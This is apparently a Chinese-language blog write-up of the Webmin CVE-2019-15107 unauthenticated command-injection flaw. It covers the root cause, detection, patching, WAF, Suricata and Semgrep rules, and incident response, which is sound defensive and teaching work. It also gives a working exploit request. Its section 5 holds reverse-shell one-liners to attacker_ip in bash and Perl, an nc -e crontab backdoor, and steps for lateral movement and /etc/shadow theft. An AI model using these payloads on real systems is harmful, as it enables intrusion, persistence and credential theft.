1. Webmin未授权远程代码执行漏洞解析
Webmin作为一款历史悠久的Linux系统管理工具,被广泛应用于服务器运维领域。2019年曝光的CVE-2019-15107漏洞因其"未授权访问+远程代码执行"的双重危害特性,成为当年最受关注的安全事件之一。这个漏洞存在于password_change.cgi脚本中,攻击者无需认证即可直接利用,最高可获得root权限。
我在实际渗透测试中发现,该漏洞利用门槛极低但危害极大,特别在未及时更新的旧版本系统中仍有大量存在。下面将从技术原理到实战防护,完整剖析这个经典漏洞。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞技术原理深度分析
2.1 漏洞触发机制
漏洞核心位于/password_change.cgi文件,其本意是提供密码修改功能。关键问题在于:
- 未授权访问:脚本未严格校验用户会话状态
- 命令注入:用户输入的
old参数直接拼接进系统命令 - 路径混淆:通过
user参数控制命令执行上下文
典型攻击请求示例:
http复制POST /password_change.cgi HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
user=root&old=test|id&new1=test&new2=test
2.2 漏洞利用链解析
完整的攻击流程可分为三个阶段:
-
权限绕过阶段:
- 利用Webmin的会话管理缺陷,直接访问需认证的CGI脚本
- 通过构造特殊请求头(如
Referer: https://localhost:10000/)绕过部分校验
-
命令注入阶段:
old参数值经过system()函数直接执行- 管道符
|突破参数限制实现任意命令执行 - 反引号
`和$()等变形利用方式同样有效
-
权限提升阶段:
- 默认以root权限运行Webmin服务
- 通过
user=root参数确保在最高权限上下文执行
关键发现:在1.890到1.920版本中,即使配置了IP访问限制,该漏洞仍可通过SSRF等方式间接利用
3. 实战检测与漏洞验证
3.1 手工检测方法
使用cURL进行基础检测:
bash复制curl -ks "https://target:10000/password_change.cgi" -d "user=root&old=test|whoami&new1=test&new2=test" | grep -A1 "Output"
响应中出现命令执行结果即为存在漏洞:
html复制<pre>root</pre>
3.2 自动化检测工具
推荐使用Metasploit模块辅助检测:
bash复制msfconsole
use auxiliary/scanner/http/webmin_password_change_cgi
set RHOSTS target_ip
run
3.3 风险验证注意事项
-
法律合规:
- 必须获得书面授权方可测试
- 禁止在非授权环境使用真实攻击载荷
-
操作规范:
- 使用无害命令验证(如
whoami) - 避免使用可能造成系统崩溃的命令
- 测试后及时清理测试痕迹
- 使用无害命令验证(如
-
环境隔离:
- 建议在虚拟机环境复现
- 使用网络隔离防止意外扩散
4. 漏洞修复方案
4.1 官方补丁升级
升级到已修复版本:
- Webmin 1.930及以上
- Usermin 1.780及以上
升级命令示例:
bash复制wget https://prdownloads.sourceforge.net/webadmin/webmin-1.990.tar.gz
tar -xzf webmin-1.990.tar.gz
cd webmin-1.990
./setup.sh
4.2 临时缓解措施
若无法立即升级,可采取以下方案:
- 文件权限控制:
bash复制chmod 000 /usr/share/webmin/password_change.cgi
chattr +i /usr/share/webmin/password_change.cgi
- 网络层防护:
nginx复制location ~ /password_change\.cgi$ {
deny all;
return 403;
}
- 系统级防护:
bash复制iptables -A INPUT -p tcp --dport 10000 -m string --string "password_change.cgi" --algo bm -j DROP
4.3 加固建议
-
最小权限原则:
- 为Webmin创建专用低权限用户
- 禁用root直接登录
-
访问控制:
- 启用双因素认证
- 限制管理端口访问IP
-
日志监控:
bash复制grep 'password_change.cgi' /var/webmin/miniserv.log | grep -v 'session'
5. 漏洞深度利用分析
5.1 高级利用技术
- 反弹Shell:
http复制old=test|bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'&
- 内存马注入:
perl复制old=test|perl -e 'use Socket;$i="attacker_ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
- 持久化后门:
http复制old=test|echo "*/1 * * * * root nc -e /bin/sh attacker_ip 4444" >> /etc/crontab
5.2 内网渗透路径
-
横向移动:
- 通过Webmin获取SSH密钥
- 利用内网接口扫描(如
old=test|nmap -sS 192.168.1.0/24)
-
权限维持:
- 添加隐藏账户
- 植入SSH后门
-
数据窃取:
- 打包下载/etc/shadow
- 数据库凭证获取
6. 防御体系构建
6.1 纵深防御策略
-
网络层:
- 管理接口独立VLAN
- 端口访问白名单
-
主机层:
- SELinux/AppArmor限制
- 文件完整性监控
-
应用层:
- WAF规则配置:
xml复制<rule id="100015" level="12">
<url>/password_change.cgi</url>
<post_var>old</post_var>
<regex>[\|;&`$()]</regex>
</rule>
6.2 入侵检测规则
Suricata规则示例:
yaml复制alert http any any -> any 10000 (msg:"Webmin CVE-2019-15107 Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/password_change.cgi"; http_uri; content:"old="; http_client_body; pcre:"/old=[^&]*[\|`$();]/"; sid:1000001; rev:1;)
6.3 应急响应流程
-
隔离处置:
- 立即下线受影响系统
- 保留现场日志
-
取证分析:
bash复制grep -a 'password_change.cgi' /var/webmin/miniserv.log* | awk -F' ' '{print $1,$3,$5}'
- 恢复方案:
- 全盘扫描后门
- 重置所有凭据
- 重建系统镜像
7. 漏洞研究进阶
7.1 补丁对比分析
对比1.920和1.930版本的关键修改:
diff复制- my $old = $in{'old'};
+ my $old = &clean_input($in{'old'});
+
+ sub clean_input {
+ local ($_) = @_;
+ s/[\|\&\`\'\"\$\<\>\(\)\;]//g;
+ return $_;
+ }
7.2 变种漏洞挖掘
基于相同模式可审计其他CGI脚本:
fileman.cgishow.cgisave_user.cgi
7.3 静态检测方法
使用Semgrep规则检测类似漏洞:
yaml复制rules:
- id: webmin-command-injection
patterns:
- pattern: system("...$VAR...")
- pattern-not: system("...${sanitize($VAR)}...")
message: Potential command injection via unsanitized input
languages: [perl]
severity: ERROR
在实际运维中,我发现很多管理员忽略Webmin这类"辅助工具"的安全更新。这个案例再次证明,任何暴露在网络的服务都可能成为突破口。建议建立完整的资产清单,对所有组件实施统一的补丁管理策略,而不仅仅是关注操作系统和主要应用服务。
